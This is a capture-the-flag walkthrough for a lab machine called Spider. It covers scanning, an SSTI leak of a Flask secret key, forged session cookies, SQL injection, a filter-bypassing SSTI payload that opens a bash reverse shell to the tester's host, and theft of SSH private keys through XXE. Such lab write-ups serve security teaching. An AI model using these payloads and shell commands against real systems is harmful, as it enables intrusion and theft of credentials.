Spider
Last updated
Was this helpful?
Last updated
Was this helpful?
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.243 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.
-p-
scanning the entire port range, from 1 to 65535.
-T5
insane mode, it is the fastest mode of the nmap time template.
-Pn
assume the host is online.
-n
scan without reverse DNS resolution.
-oN
save the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80 10.10.10.243 -oN targeted
-sC
performs the scan using the default set of scripts.
-sV
enables version detection.
-oN
save the scan result into file, in this case the targeted file.
If we try to access the website on port 80, we'll see that it tries to reach spider.htb.
curl http://10.10.10.243 -L
Let's add the domain name to the /etc/hosts
file.
nano /etc/hosts
There is a chair store hosted on the web server.
We could register a new user.
To log in, we'll need to provide our password and uuid.
Once logged in, from the User Information section, we'll be able to see our username and uuid.
As the username gets represented in the website, we could try to create a new user with an SSTI payload as the username, and see if we can retrieve any data. In this case, we could use the {{config}}
payload to retrieve the configuration parameters of the server.
As we can see, the server is vulnerable to SSTI because we get the server configuration.
We can put the content in the config file to see it more comfortably. As we can see, there is one secret key.
cat config | tr "," "\n"
As we can see, we have a cookie that looks like a JWT.
We could decode the cookie with the flask-unsign
tool.
flask-unsign --decode --cookie 'eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjgwNTYwODhlLWZhNjQtNDg1OC05NTdiLTc0YThiZThmMmY0ZSJ9.ZGaGXg.HkhEFUVLzvrw5yi3fAdp-jy0Qm8'
As we also have to private key that is used to sign cookies, we could form our own session cookie.
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '8056088e-fa64-4858-957b-74a8be8f2f4e'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
The cookie has the uuid
key. We could test if that key is vulnerable to SQL Injection. Let's create one session cookie with the '
character at the end of the uuid.
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '8056088e-fa64-4858-957b-74a8be8f2f4e''}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
If we replace the session cookie that we have with the one we just created and reload the page, we'll see that the server crashes.
If we create a session cookie with a simple SQLi payload such as ' or 1=1-- -
, we'll see that we become the chiv user.
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '8056088e-fa64-4858-957b-74a8be8f2f4e' or 1=1-- -'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
The server is vulnerable to Blind SQL Injection. The following is a python script that automates the whole process of creating malicious cookies to dump the entire database. It will start getting the database name, then it will get the tables of that database, and the columns of the user
table, then finally, it will dump all the data from that table.
Run the script to dump the database.
python exploit.py
Now that we have the password and uuid of the chiv
user, let's log in as him.
There are different sections in the admin panel.
In the View messages
section, there is one message saying to fix some portal.
The portal allows us to submit tickets.
We could try to inject SSTI payloads like before, but now there is some kind of security measure implemented.
If we submit special characters, we'll see that the server doesn't like the _
, '
and .
characters.
There are some payloads that are capable of bypassing this type of security measures. First, set a netcat listener on port 4444.
rlwrap nc -lvnp 4444
-l
listen mode.
-v
verbose mode.
-n
numeric-only IP, no DNS resolution.
-p
specify the port to listen on.
Now, base64 encode a payload that will send us a reverse shell.
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.8/4444 0>&1"' | base64
%include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo YmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC44LzQ0NDQgMD4mMSIK | base64 -d | bash")|attr("read")()%}
Make a request with BurpSuite to get the reverse shell as chiv
. Then, we'll be able to grab the user flag.
To get a more stable shell, get the id_rsa
file of chiv
.
cat /home/chiv/.ssh/id_rsa
Create it in your machine, give it the right permissions, and log in via SSH.
nano id_rsa; chmod 600 id_rsa
ssh -i id_rsa chiv@10.10.10.243
Port 8080 is open but it can not be accessed externally.
netstat -tulpn
Do port forwarding with SSH of that port to port 80 of our localhost.
ssh -i id_rsa chiv@10.10.10.243 -L 80:127.0.0.1:8080
There is a login page in that web server.
If we enter any username we'll be able to log in.
If we intercept a login request with BurpSuite, we'll see that we are sending the username
and version
parameters.
Then, we'll be redirected to /site
with a new session cookie.
The cookie contains a base64 encoded value of the lxml
key.
flask-unsign --decode --cookie '.eJxNjE1vgyAAhv_KwnkHdG4Hk14MiKOTBhSw3DSYYf2YqWSzNv3vW5Mt2fHJ87zvFQzrOID4Ch4aEAOJWWrxWvKeKqH9pMZAtzq_NJnpaplGJZkTKwPEK5ErJN4kdns7vm6y8OjHT4VkySGdM3FKzN3f2cABcW0phzgyqTs0hHmmXacCeTbY6nYU2D6ZXuPn5RjCoCa0Uv_-fvdchOuLRpTUIa2aTPG6x1GJ6NIO7xcx-k6FayCJ_fzr-TactXJFnSZTs7k8h3N4PDGx_9rtwO0RzB_d5BcQw9s3hSNV0Q.ZGcjsw.h-kk33UvadiCOTalT3tIJY7r6f4'
If we decode the base64 string, we'll see that it is an XML message.
echo "PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+dGVzdDwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+" | base64 -d
We could try to do something. As we have control of the API version and the username field, we could try to inject an XXE payload to read local files. If we suppose that the server is running as root, we could try to read the private SSH key of the root user. The API version parameter will have to look something like the following.
Then, the username will have to be the following payload so we can see the content of the SSH key displayed in the website.
Send the two payloads with BurpSuite. Make sure to add a space at the end of the second payload, and to URL encode the first one.
Indeed, as the server is running as root, we can see the id_rsa
file of root displayed on the website.
Finally, create the id_rsa file in our local machine, give it the right permissions, and get a shell as root. Then, all we have to do is reap the harvest and take the root flag.
nano id_rsa.root; chmod 600 id_rsa.root
ssh -i id_rsa.root root@10.10.10.243
The payload that we could use can be found in . But we need to modify it a bit. Change the '
characters to "
. Then change the first {{
characters to {%include
, and the last }}
to %}
. It will look like this.